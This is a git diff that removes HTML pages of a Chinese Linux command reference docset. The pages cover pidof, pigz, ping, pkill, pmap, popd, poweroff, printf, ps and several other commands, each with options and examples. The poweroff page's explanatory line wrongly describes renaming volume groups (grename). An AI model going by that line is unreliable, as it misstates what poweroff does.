--s<拼字检查器>:另外指定拼字检查器;
--t:启动工具模式;
--v:启动阅读模式,用户只能观看,无法编辑文件的内容;
--w:关闭自动换行,通过这个参数可以编辑内容很长的列;
--x:关闭页面下方的命令列表;
--z:让pico可被Ctrl+z中断,暂存在后台作业里;
-+<列表编号>:执行pico指令进入编辑模式时,从指定的列数开始编辑。
-
-

参数

-

文件:指定要编辑的文件。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/pidof.html b/linux-command.docset/Contents/Resources/Documents/c/pidof.html deleted file mode 100644 index 303edb4ebf..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/pidof.html +++ /dev/null @@ -1,94 +0,0 @@ - - - - - - - - - - - pidof 命令,Linux pidof 命令详解:查找指定名称的进程的进程号ID号 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

pidof

-

查找指定名称的进程的进程号ID号

-

补充说明

-

pidof命令 用于查找指定名称的进程的进程号id号。

-

语法

-
pidof(选项)(参数)
-
-

选项

-
-s:仅返回一个进程号;
--c:仅显示具有相同“root”目录的进程;
--x:显示由脚本开启的进程;
--o:指定不显示的进程ID。
-
-

参数

-

进程名称:指定要查找的进程名称。

-

实例

-
pidof nginx
-13312 5371
-
-pidof crond
-1509
-
-pidof init
-1
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/pigz.html b/linux-command.docset/Contents/Resources/Documents/c/pigz.html deleted file mode 100644 index a9fd31e0e0..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/pigz.html +++ /dev/null @@ -1,119 +0,0 @@ - - - - - - - - - - - pigz 命令,Linux pigz 命令详解:可以用来解压缩文件,gzip的并行实现升级版 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

pigz

-

可以用来解压缩文件,gzip的并行实现升级版

-

补充说明

-

pigz命令可以用来解压缩文件,最重要的是支持多线程并行处理,解压缩比gzip快。主页: http://zlib.net/pigz/

-

语法

-
pigz [ -cdfhikKlLmMnNqrRtz0..9,11 ] [ -b blocksize ] [ -p threads ] [ -S suffix ] [ name ...  ]
-unpigz [ -cfhikKlLmMnNqrRtz ] [ -b blocksize ] [ -p threads ] [ -S suffix ] [ name ...  ]
-
-

参数

-
-0 to -9, -11       # Compression level (level 11, zopfli, is much slower)
---fast, --best      # Compression levels 1 and 9 respectively
--b, --blocksize mmm # Set compression block size to mmmK (default 128K)
--c, --stdout        # Write all processed output to stdout (won't delete)
--d, --decompress    # Decompress the compressed input
--f, --force         # Force overwrite, compress .gz, links, and to terminal
--F  --first         # Do iterations first, before block split for -11
--h, --help          # Display a help screen and quit
--i, --independent   # Compress blocks independently for damage recovery
--I, --iterations n  # Number of iterations for -11 optimization
--J, --maxsplits n   # Maximum number of split blocks for -11
--k, --keep          # Do not delete original file after processing
--K, --zip           # Compress to PKWare zip (.zip) single entry format
--l, --list          # List the contents of the compressed input
--L, --license       # Display the pigz license and quit
--m, --no-time       # Do not store or restore mod time
--M, --time          # Store or restore mod time
--n, --no-name       # Do not store or restore file name or mod time
--N, --name          # Store or restore file name and mod time
--O  --oneblock      # Do not split into smaller blocks for -11
--p, --processes n   # Allow up to n compression threads (default is the number of online processors, or 8 if unknown)
--q, --quiet         # Print no messages, even on error
--r, --recursive     # Process the contents of all subdirectories
--R, --rsyncable     # Input-determined block locations for rsync
--S, --suffix .sss   # Use suffix .sss instead of .gz (for compression)
--t, --test          # Test the integrity of the compressed input
--v, --verbose       # Provide more verbose output
--V  --version       # Show the version of pigz
--Y  --synchronous   # Force output file write to permanent storage
--z, --zlib          # Compress to zlib (.zz) instead of gzip format
---                  # All arguments after "--" are treated as files
-
-

实例

-

可以结合tar使用, 压缩命令

-
tar -cvf - dir1 dir2 dir3 | pigz -p 8 > output.tgz
-
-

解压命令

-
pigz -p 8 -d output.tgz
-
-

如果是gzip格式,也支持用tar解压

-
tar -xzvf output.tgz
-
-
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ping.html b/linux-command.docset/Contents/Resources/Documents/c/ping.html deleted file mode 100644 index d1de932cb2..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ping.html +++ /dev/null @@ -1,107 +0,0 @@ - - - - - - - - - - - ping 命令,Linux ping 命令详解:测试主机之间网络的连通性 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ping

-

测试主机之间网络的连通性

-

补充说明

-

ping命令 用来测试主机之间网络的连通性。执行ping指令会使用ICMP传输协议,发出要求回应的信息,若远端主机的网络功能没有问题,就会回应该信息,因而得知该主机运作正常。

-

语法

-
ping(选项)(参数)
-
-

选项

-
-d:使用Socket的SO_DEBUG功能;
--c<完成次数>:设置完成要求回应的次数;
--f:极限检测;
--i<间隔秒数>:指定收发信息的间隔时间;
--I<网络界面>:使用指定的网络界面送出数据包;
--l<前置载入>:设置在送出要求信息之前,先行发出的数据包;
--n:只输出数值;
--p<范本样式>:设置填满数据包的范本样式;
--q:不显示指令执行过程,开头和结尾的相关信息除外;
--r:忽略普通的Routing Table,直接将数据包送到远端主机上;
--R:记录路由过程;
--s<数据包大小>:设置数据包的大小;
--t<存活数值>:设置存活数值TTL的大小;
--v:详细显示指令的执行过程。
-
-

参数

-

目的主机:指定发送ICMP报文的目的主机。

-

实例

-
[root@AY1307311912260196fcZ ~]# ping www.jsdig.com
-PING host.1.jsdig.com (100.42.212.8) 56(84) bytes of data.
-64 bytes from 100-42-212-8.static.webnx.com (100.42.212.8): icmp_seq=1 ttl=50 time=177 ms
-64 bytes from 100-42-212-8.static.webnx.com (100.42.212.8): icmp_seq=2 ttl=50 time=178 ms
-64 bytes from 100-42-212-8.static.webnx.com (100.42.212.8): icmp_seq=3 ttl=50 time=174 ms
-64 bytes from 100-42-212-8.static.webnx.com (100.42.212.8): icmp_seq=4 ttl=50 time=177 ms
-...按Ctrl+C结束
-
---- host.1.jsdig.com ping statistics ---
-4 packets transmitted, 4 received, 0% packet loss, time 2998ms
-rtt min/avg/max/mdev = 174.068/176.916/178.182/1.683 ms
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/pkill.html b/linux-command.docset/Contents/Resources/Documents/c/pkill.html deleted file mode 100644 index 03f3ac0fc3..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/pkill.html +++ /dev/null @@ -1,92 +0,0 @@ - - - - - - - - - - - pkill 命令,Linux pkill 命令详解:可以按照进程名杀死进程 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

pkill

-

可以按照进程名杀死进程

-

补充说明

-

pkill命令 可以按照进程名杀死进程。pkill和killall应用方法差不多,也是直接杀死运行中的程序;如果您想杀掉单个进程,请用kill来杀掉。

-

语法

-
pkill(选项)(参数)
-
-

选项

-
-o:仅向找到的最小(起始)进程号发送信号;
--n:仅向找到的最大(结束)进程号发送信号;
--P:指定父进程号发送信号;
--g:指定进程组;
--t:指定开启进程的终端。
-
-

参数

-

进程名称:指定要查找的进程名称,同时也支持类似grep指令中的匹配模式。

-

实例

-
pgrep -l gaim
-2979 gaim
-
-pkill gaim
-
-

也就是说:kill对应的是PID,pkill对应的是command。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/pmap.html b/linux-command.docset/Contents/Resources/Documents/c/pmap.html deleted file mode 100644 index f994f1f701..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/pmap.html +++ /dev/null @@ -1,175 +0,0 @@ - - - - - - - - - - - pmap 命令,Linux pmap 命令详解:报告进程的内存映射关系 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

pmap

-

报告进程的内存映射关系

-

补充说明

-

pmap命令 用于报告进程的内存映射关系,是Linux调试及运维一个很好的工具。

-

语法

-
pmap(选项)(参数)
-
-

选项

-
-x:显示扩展格式;
--d:显示设备格式;
--q:不显示头尾行;
--V:显示指定版本。
-
-

参数

-

进程号:指定需要显示内存映射关系的进程号,可以是多个进程号。

-

实例

-
pidof nginx
-13312 5371
-
-pmap -x 5371
-5371:   nginx: worker process                
-Address           Kbytes     RSS   Dirty Mode   Mapping
-0000000000400000     564     344       0 r-x--  nginx
-000000000068c000      68      68      60 rw---  nginx
-000000000069d000      56      12      12 rw---    [ anon ]
-000000000a0c8000    1812    1684    1684 rw---    [ anon ]
-0000003ac0a00000     112      40       0 r-x--  ld-2.5.so
-0000003ac0c1c000       4       4       4 r----  ld-2.5.so
-0000003ac0c1d000       4       4       4 rw---  ld-2.5.so
-0000003ac0e00000    1340     284       0 r-x--  libc-2.5.so
-0000003ac0f4f000    2044       0       0 -----  libc-2.5.so
-0000003ac114e000      16      16       8 r----  libc-2.5.so
-0000003ac1152000       4       4       4 rw---  libc-2.5.so
-0000003ac1153000      20      20      20 rw---    [ anon ]
-0000003ac1200000       8       4       0 r-x--  libdl-2.5.so
-0000003ac1202000    2048       0       0 -----  libdl-2.5.so
-0000003ac1402000       4       4       4 r----  libdl-2.5.so
-0000003ac1403000       4       4       4 rw---  libdl-2.5.so
-0000003ac1600000      84       0       0 r-x--  libselinux.so.1
-0000003ac1615000    2048       0       0 -----  libselinux.so.1
-0000003ac1815000       8       8       8 rw---  libselinux.so.1
-0000003ac1817000       4       4       4 rw---    [ anon ]
-0000003ac1a00000     236       0       0 r-x--  libsepol.so.1
-0000003ac1a3b000    2048       0       0 -----  libsepol.so.1
-0000003ac1c3b000       4       4       4 rw---  libsepol.so.1
-0000003ac1c3c000      40       0       0 rw---    [ anon ]
-0000003ac1e00000      88      44       0 r-x--  libpthread-2.5.so
-0000003ac1e16000    2048       0       0 -----  libpthread-2.5.so
-0000003ac2016000       4       4       4 r----  libpthread-2.5.so
-0000003ac2017000       4       4       4 rw---  libpthread-2.5.so
-0000003ac2018000      16       4       4 rw---    [ anon ]
-0000003ac2600000      80      52       0 r-x--  libz.so.1.2.3
-0000003ac2614000    2044       0       0 -----  libz.so.1.2.3
-0000003ac2813000       4       4       4 rw---  libz.so.1.2.3
-0000003ac2a00000      36       4       0 r-x--  libcrypt-2.5.so
-0000003ac2a09000    2044       0       0 -----  libcrypt-2.5.so
-0000003ac2c08000       4       4       4 r----  libcrypt-2.5.so
-0000003ac2c09000       4       4       4 rw---  libcrypt-2.5.so
-0000003ac2c0a000     184       0       0 rw---    [ anon ]
-0000003ac3600000       8       0       0 r-x--  libkeyutils-1.2.so
-0000003ac3602000    2044       0       0 -----  libkeyutils-1.2.so
-0000003ac3801000       4       4       4 rw---  libkeyutils-1.2.so
-0000003ac3a00000      68       0       0 r-x--  libresolv-2.5.so
-0000003ac3a11000    2048       0       0 -----  libresolv-2.5.so
-0000003ac3c11000       4       4       4 r----  libresolv-2.5.so
-0000003ac3c12000       4       4       4 rw---  libresolv-2.5.so
-0000003ac3c13000       8       0       0 rw---    [ anon ]
-0000003ac3e00000       8       0       0 r-x--  libcom_err.so.2.1
-0000003ac3e02000    2044       0       0 -----  libcom_err.so.2.1
-0000003ac4001000       4       4       4 rw---  libcom_err.so.2.1
-0000003ac4200000    1204       8       0 r-x--  libcrypto.so.0.9.8e
-0000003ac432d000    2044       0       0 -----  libcrypto.so.0.9.8e
-0000003ac452c000     132      88      12 rw---  libcrypto.so.0.9.8e
-0000003ac454d000      16      12      12 rw---    [ anon ]
-0000003ac4600000     176       0       0 r-x--  libgssapi_krb5.so.2.2
-0000003ac462c000    2048       0       0 -----  libgssapi_krb5.so.2.2
-0000003ac482c000       8       8       8 rw---  libgssapi_krb5.so.2.2
-0000003ac4a00000     144       0       0 r-x--  libk5crypto.so.3.1
-0000003ac4a24000    2044       0       0 -----  libk5crypto.so.3.1
-0000003ac4c23000       8       8       8 rw---  libk5crypto.so.3.1
-0000003ac4e00000      32       0       0 r-x--  libkrb5support.so.0.1
-0000003ac4e08000    2044       0       0 -----  libkrb5support.so.0.1
-0000003ac5007000       4       4       4 rw---  libkrb5support.so.0.1
-0000003ac5200000     580       0       0 r-x--  libkrb5.so.3.3
-0000003ac5291000    2048       0       0 -----  libkrb5.so.3.3
-0000003ac5491000      16      16      12 rw---  libkrb5.so.3.3
-0000003ac5a00000     288       4       0 r-x--  libssl.so.0.9.8e
-0000003ac5a48000    2048       0       0 -----  libssl.so.0.9.8e
-0000003ac5c48000      24      16      12 rw---  libssl.so.0.9.8e
-00002b5751808000       8       8       8 rw---    [ anon ]
-00002b5751810000     108      36       0 r-x--  libpcre.so.1.2.0
-00002b575182b000    2044       0       0 -----  libpcre.so.1.2.0
-00002b5751a2a000       4       4       4 rw---  libpcre.so.1.2.0
-00002b5751a2b000      28      28      28 rw---    [ anon ]
-00002b5751a32000      40      20       0 r-x--  libnss_files-2.5.so
-00002b5751a3c000    2044       0       0 -----  libnss_files-2.5.so
-00002b5751c3b000       4       4       4 r----  libnss_files-2.5.so
-00002b5751c3c000       4       4       4 rw---  libnss_files-2.5.so
-00002b5751c3d000       4       4       4 rw-s-  zero (deleted)
-00002b5751c3e000   20012   20000   20000 rw---    [ anon ]
-00007fffbf2ce000      84      20      20 rw---    [ stack ]
-00007fffbf35e000      12       0       0 r-x--    [ anon ]
-ffffffffff600000    8192       0       0 -----    [ anon ]
-----------------  ------  ------  ------
-total kB           72880   22940   22000
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/popd.html b/linux-command.docset/Contents/Resources/Documents/c/popd.html deleted file mode 100644 index 18b05d684c..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/popd.html +++ /dev/null @@ -1,130 +0,0 @@ - - - - - - - - - - - popd 命令,Linux popd 命令详解:从目录堆栈中删除目录。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

popd

-

从目录堆栈中删除目录。

-

概要

-
popd [-n] [+N | -N]
-
-

主要用途

-
    -
  • -

    从目录堆栈中删除目录,如果是顶部目录被删除,那么当前工作目录会切换到新的顶部目录。

    -
  • -
  • -

    没有参数时,删除目录堆栈顶部。

    -
  • -
-

选项

-
-n    抑制删除目录引起的当前工作目录变化。
-
-

参数

-

+N(可选):不带参数执行dirs命令显示的列表中,左起的第N个目录将被删除。(从0开始计数)

-

-N(可选):不带参数执行dirs命令显示的列表中,右起的第N个目录将被删除。(从0开始计数)

-

返回值

-

返回成功除非提供了非法选项或执行出现错误。

-

例子

-
# 添加目录到堆栈,当前工作目录不变。
-[user2@pc ~]$ dirs
-~
-[user2@pc ~]$ pushd -n ~/Desktop
-~ ~/Desktop
-[user2@pc ~]$ pushd -n ~/Pictures
-~ ~/Pictures ~/Desktop
-[user2@pc ~]$ pushd -n ~/bin
-~ ~/bin ~/Pictures ~/Desktop
-
-# 从目录堆栈中删除目录,删除顶部目录时会改变当前工作目录:
-[user2@pc ~]$ popd -2
-~ ~/Pictures ~/Desktop
-[user2@pc ~]$ popd +1
-~ ~/Desktop
-[user2@pc ~]$ popd
-~/Desktop
-[user2@pc Desktop]$
-
-
# 从目录堆栈中删除目录,删除顶部目录时不会改变当前工作目录:
-[user2@pc ~]$ dirs
-~
-[user2@pc ~]$ pushd -n ~/Desktop
-~ ~/Desktop
-[user2@pc ~]$ popd -n
-~
-[user2@pc ~]$ 
-
-

注意

-
    -
  1. bash的目录堆栈命令包括dirs popd pushd
  2. -
  3. 当前目录始终是目录堆栈的顶部。
  4. -
  5. 该命令是bash内建命令,相关的帮助信息请查看help命令。
  6. -
-

参考链接

- - -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/poweroff.html b/linux-command.docset/Contents/Resources/Documents/c/poweroff.html deleted file mode 100644 index 0fa7ec0de0..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/poweroff.html +++ /dev/null @@ -1,88 +0,0 @@ - - - - - - - - - - - poweroff 命令,Linux poweroff 命令详解:关闭Linux系统,关闭记录会被写入到/var/log/wtmp日志文件中 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

poweroff

-

关闭Linux系统,关闭记录会被写入到/var/log/wtmp日志文件中

-

补充说明

-

grename命令 可以重命名卷组的名称。

-

语法

-
poweroff [选项]
-
-

选项

-
-n 关闭之前不同步
--p 当被称为halt时关闭电源
--v 增加输出,包括消息
--q 降低输出错误唯一的消息
--w 并不实际关闭系统,只是写入/var/log/wtmp文件中
--f 强制关机,不调用shutdown
-
-

例子

-

关闭Linux系统。

-
[root@localhost ~]# poweroff
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ppp-off.html b/linux-command.docset/Contents/Resources/Documents/c/ppp-off.html deleted file mode 100644 index 7be56eafd4..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ppp-off.html +++ /dev/null @@ -1,76 +0,0 @@ - - - - - - - - - - - ppp-off 命令,Linux ppp-off 命令详解:关闭ppp连线 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ppp-off

-

关闭ppp连线

-

补充说明

-

这是Slackware发行版内附的程序,让用户切断PPP的网络连线。

-

语法

-
ppp-off
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/pr.html b/linux-command.docset/Contents/Resources/Documents/c/pr.html deleted file mode 100644 index b60721c8c2..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/pr.html +++ /dev/null @@ -1,82 +0,0 @@ - - - - - - - - - - - pr 命令,Linux pr 命令详解:将文本文件转换成适合打印的格式 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

pr

-

将文本文件转换成适合打印的格式

-

补充说明

-

pr命令 用来将文本文件转换成适合打印的格式,它可以把较大的文件分割成多个页面进行打印,并为每个页面添加标题。

-

语法

-
pr(选项)(参数)
-
-

选项

-
-h<标题>:为页指定标题;
--l<行数>:指定每页的行数。
-
-

参数

-

文件:需要转换格式的文件。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/printf.html b/linux-command.docset/Contents/Resources/Documents/c/printf.html deleted file mode 100644 index 676a73f6a9..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/printf.html +++ /dev/null @@ -1,224 +0,0 @@ - - - - - - - - - - - printf 命令,Linux printf 命令详解:格式化并输出结果。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

printf

-

格式化并输出结果。

-

目录

- -

内建命令

-

概要

-
printf [-v var] format [arguments]
-
-

主要用途

-
    -
  • 格式化参数并输出。
  • -
-

选项

-
-v var:将结果输出到变量var中而不是输出到标准输出。
-
-

参数

-

format:输出格式。

-

arguments:一到多个参数。

-
转义序列:除了支持printf(1)和printf(3)的转义序列,内建printf还支持以下转义序列:
-
-%b       展开参数中的反斜杠转义字符。
-%q       将参数扩起以用作shell输入。
-%(fmt)T  根据strftime(3)中的转义字符来输出日期时间字符串。
-
-

返回值

-

返回状态为成功除非给出了非法选项、写错误、赋值错误。

-

例子

-
# %-5s 格式为左对齐且宽度为5的字符串代替('-'表示左对齐),不使用则默认右对齐。
-# %-4.2f 格式为左对齐宽度为4,保留两位小数。
-
-printf "%-5s %-10s %-4s\n" NO Name Mark
-printf "%-5s %-10s %-4.2f\n" 01 Tom 90.3456
-printf "%-5s %-10s %-4.2f\n" 02 Jack 89.2345
-printf "%-5s %-10s %-4.2f\n" 03 Jeff 98.4323
-
-# 输出
-NO    Name       Mark
-01    Tom        90.35
-02    Jack       89.23
-03    Jeff       98.43
-
-
-# %b %q %(fmt)T 的例子。
-# see it again with a newline.
-printf "%s\n" 'hello world'
-# 展开换行符,和上面的结果一样。
-printf "%b" 'hello world\n'
-
-printf '%q\n' 'a b c'
-# 输出
-a\ b\ c
-
-# %z为时区,%n为换行符。
-printf "%(%F %T %z%n)T"
-# 输出
-2019-09-10 01:48:07 +0000
-
-

注意

-
    -
  1. 该命令是bash内建命令,相关的帮助信息请查看help命令。
  2. -
-

外部命令

-

概要

-
printf FORMAT [ARGUMENT]...
-printf OPTION
-
-

主要用途

-
    -
  • 格式化参数并输出。
  • -
-

选项

-
--help 显示帮助信息并退出。
---version 显示版本信息并退出。
-
-

参数

-

format:输出格式。

-

arguments:一到多个参数。

-
在这里忽略了(%b %q),如果你安装的coreutils版本支持它们,那么请参考上面的例子。
-支持的转义序列:
-
-\"          双引号
-\\          反斜杠
-\a          响铃
-\b          退格
-\c          截断输出
-\e          退出
-\f          翻页
-\n          换行
-\r          回车
-\t          水平制表符
-\v          竖直制表符
-\NNN        八进制数 (1到3位数字)
-\xHH        十六进制数 (1到2位数字)
-\uHHHH      Unicode字符附加4位十六进制数字
-\UHHHHHHHH  Unicode字符附加8位十六进制数字
-%%          百分号
-
-以及'diouxXfeEgGcs'中的一个结尾的C格式规范,将被转换为正确的类型并处理可变宽度。
-
-

例子

-
# 使用 /usr/bin/printf 确保调用的不是内建命令。
-# 当然,在你关闭内建printf以及确认当前环境没有printf函数的情况下,可直接使用printf,详见末尾"注意"的链接。
-
-# 按行打印数组和关联数组的下标及值。
-
-# 声明数组可以不加'declare -a'或'local -a'(在函数内声明的局部变量)。
-arr=('line1' 'line2')
-/usr/bin/printf "%s\n" ${!arr[@]}
-# 输出下标
-0
-1
-/usr/bin/printf "%s\n" ${arr[@]}
-# 输出值
-line1
-line2
-
-#声明关联数组(也就是字典)必须加'declare -A'或'local -A'(在函数内声明的局部变量)。
-declare -A assoc_arr=(['key1']='value1' ['key2']='value2')
-/usr/bin/printf "%s\n" ${!assoc_arr[@]}
-# 输出键。
-key2
-key1
-/usr/bin/printf "%s\n" ${assoc_arr[@]}
-# 输出值。
-value2
-value1
-
-

返回值

-

返回状态为成功除非给出了非法选项等。

-

注意

-
    -
  1. -

    该命令是GNU coreutils包中的命令,相关的帮助信息请查看man -s 1 printfinfo coreutils 'pwd invocation'

    -
  2. -
  3. -

    启动或关闭内建命令请查看enable命令,关于同名优先级的问题请查看builtin命令的例子部分的相关讨论。

    -
  4. -
  5. -

    我通过和bug-bash@gnu.org的交流,得到了关于这几个格式说明符%b %q %(fmt)T的解释:

    -
    -

    printf(1)中的%b格式说明符是printf(3)支持的格式之外增加的一个POSIX特性。

    -

    %q和%T说明符是非标准的,并且不受所有独立实现的printf的支持。

    -
    -

    更多细节请参考链接:

    - -
  6. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/protoize.html b/linux-command.docset/Contents/Resources/Documents/c/protoize.html deleted file mode 100644 index faf51c0589..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/protoize.html +++ /dev/null @@ -1,82 +0,0 @@ - - - - - - - - - - - protoize 命令,Linux protoize 命令详解:GNU-C代码转换为ANSI-C代码 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

protoize

-

GNU-C代码转换为ANSI-C代码

-

补充说明

-

protoize命令 属于gcc套件,用于为C语言源代码文件添加函数原型,将GNU-C代码转换为ANSI-C代码。

-

语法

-
protoize(选项)(参数)
-
-

选项

-
-d:设置需要转换代码的目录;
--x:转换代码时排除的文件。
-
-

参数

-

文件:需要转换代码的C语言源文件。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ps.html b/linux-command.docset/Contents/Resources/Documents/c/ps.html deleted file mode 100644 index 725aa05ee1..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ps.html +++ /dev/null @@ -1,230 +0,0 @@ - - - - - - - - - - - ps 命令,Linux ps 命令详解:报告当前系统的进程状态 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ps

-

报告当前系统的进程状态

-

补充说明

-

ps命令 用于报告当前系统的进程状态。可以搭配kill指令随时中断、删除不必要的程序。ps命令是最基本同时也是非常强大的进程查看命令,使用该命令可以确定有哪些进程正在运行和运行的状态、进程是否结束、进程有没有僵死、哪些进程占用了过多的资源等等,总之大部分信息都是可以通过执行该命令得到的。

-

语法

-
ps(选项)
-
-

选项

-
-a:显示所有终端机下执行的程序,除了阶段作业领导者之外。
-a:显示现行终端机下的所有程序,包括其他用户的程序。
--A:显示所有程序。
--c:显示CLS和PRI栏位。
-c:列出程序时,显示每个程序真正的指令名称,而不包含路径,选项或常驻服务的标示。
--C<指令名称>:指定执行指令的名称,并列出该指令的程序的状况。
--d:显示所有程序,但不包括阶段作业领导者的程序。
--e:此选项的效果和指定"A"选项相同。
-e:列出程序时,显示每个程序所使用的环境变量。
--f:显示UID,PPIP,C与STIME栏位。
-f:用ASCII字符显示树状结构,表达程序间的相互关系。
--g<群组名称>:此选项的效果和指定"-G"选项相同,当亦能使用阶段作业领导者的名称来指定。
-g:显示现行终端机下的所有程序,包括群组领导者的程序。
--G<群组识别码>:列出属于该群组的程序的状况,也可使用群组名称来指定。
-h:不显示标题列。
--H:显示树状结构,表示程序间的相互关系。
--j或j:采用工作控制的格式显示程序状况。
--l或l:采用详细的格式来显示程序状况。
-L:列出栏位的相关信息。
--m或m:显示所有的执行绪。
-n:以数字来表示USER和WCHAN栏位。
--N:显示所有的程序,除了执行ps指令终端机下的程序之外。
--p<程序识别码>:指定程序识别码,并列出该程序的状况。
-p<程序识别码>:此选项的效果和指定"-p"选项相同,只在列表格式方面稍有差异。
-r:只列出现行终端机正在执行中的程序。
--s<阶段作业>:指定阶段作业的程序识别码,并列出隶属该阶段作业的程序的状况。
-s:采用程序信号的格式显示程序状况。
-S:列出程序时,包括已中断的子程序资料。
--t<终端机编号>:指定终端机编号,并列出属于该终端机的程序的状况。
-t<终端机编号>:此选项的效果和指定"-t"选项相同,只在列表格式方面稍有差异。
--T:显示现行终端机下的所有程序。
--u<用户识别码>:此选项的效果和指定"-U"选项相同。
-u:以用户为主的格式来显示程序状况。
--U<用户识别码>:列出属于该用户的程序的状况,也可使用用户名称来指定。
-U<用户名称>:列出属于该用户的程序的状况。
-v:采用虚拟内存的格式显示程序状况。
--V或V:显示版本信息。
--w或w:采用宽阔的格式来显示程序状况。 
-x:显示所有程序,不以终端机来区分。
-X:采用旧式的Linux i386登陆格式显示程序状况。
--y:配合选项"-l"使用时,不显示F(flag)栏位,并以RSS栏位取代ADDR栏位 。
--<程序识别码>:此选项的效果和指定"p"选项相同。
---cols<每列字符数>:设置每列的最大字符数。
---columns<每列字符数>:此选项的效果和指定"--cols"选项相同。
---cumulative:此选项的效果和指定"S"选项相同。
---deselect:此选项的效果和指定"-N"选项相同。
---forest:此选项的效果和指定"f"选项相同。
---headers:重复显示标题列。
---help:在线帮助。
---info:显示排错信息。
---lines<显示列数>:设置显示画面的列数。
---no-headers:此选项的效果和指定"h"选项相同,只在列表格式方面稍有差异。
---group<群组名称>:此选项的效果和指定"-G"选项相同。
---Group<群组识别码>:此选项的效果和指定"-G"选项相同。
---pid<程序识别码>:此选项的效果和指定"-p"选项相同。
---rows<显示列数>:此选项的效果和指定"--lines"选项相同。
---sid<阶段作业>:此选项的效果和指定"-s"选项相同。
---tty<终端机编号>:此选项的效果和指定"-t"选项相同。
---user<用户名称>:此选项的效果和指定"-U"选项相同。
---User<用户识别码>:此选项的效果和指定"-U"选项相同。
---version:此选项的效果和指定"-V"选项相同。
---widty<每列字符数>:此选项的效果和指定"-cols"选项相同。
-
-

由于ps命令能够支持的系统类型相当的多,所以选项多的离谱!

-

实例

-
ps axo pid,comm,pcpu # 查看进程的PID、名称以及CPU 占用率
-ps aux | sort -rnk 4 # 按内存资源的使用量对进程进行排序
-ps aux | sort -nk 3  # 按 CPU 资源的使用量对进程进行排序
-ps -A # 显示所有进程信息
-ps -u root # 显示指定用户信息
-ps -efL # 查看线程数
-ps -e -o "%C : %p :%z : %a"|sort -k5 -nr # 查看进程并按内存使用大小排列
-ps -ef # 显示所有进程信息,连同命令行
-ps -ef | grep ssh # ps 与grep 常用组合用法,查找特定进程
-ps -C nginx # 通过名字或命令搜索进程
-ps aux --sort=-pcpu,+pmem # CPU或者内存进行排序,-降序,+升序
-ps -f --forest -C nginx # 用树的风格显示进程的层次关系
-ps -o pid,uname,comm -C nginx # 显示一个父进程的子进程
-ps -e -o pid,uname=USERNAME,pcpu=CPU_USAGE,pmem,comm # 重定义标签
-ps -e -o pid,comm,etime # 显示进程运行的时间
-ps -aux | grep named # 查看named进程详细信息
-ps -o command -p 91730 | sed -n 2p # 通过进程id获取服务名称
-
-

将目前属于您自己这次登入的 PID 与相关信息列示出来

-
ps -l
-#  UID   PID  PPID        F CPU PRI NI       SZ    RSS WCHAN     S             ADDR TTY           TIME CMD
-#  501   566   559     4006   0  31  0  4317620    228 -      Ss                  0 ttys001    0:00.05 /App...cOS/iTerm2 --server /usr/bin/login -fpl kenny /Ap...s/MacOS/iTerm2 --launch_shel
-#  501   592   577     4006   0  31  0  4297048     52 -      S                   0 ttys001    0:00.63 -zsh
-
-
    -
  • F 代表这个程序的旗标 (flag), 4 代表使用者为 super user
  • -
  • S 代表这个程序的状态 (STAT),关于各 STAT 的意义将在内文介绍
  • -
  • UID 程序被该 UID 所拥有
  • -
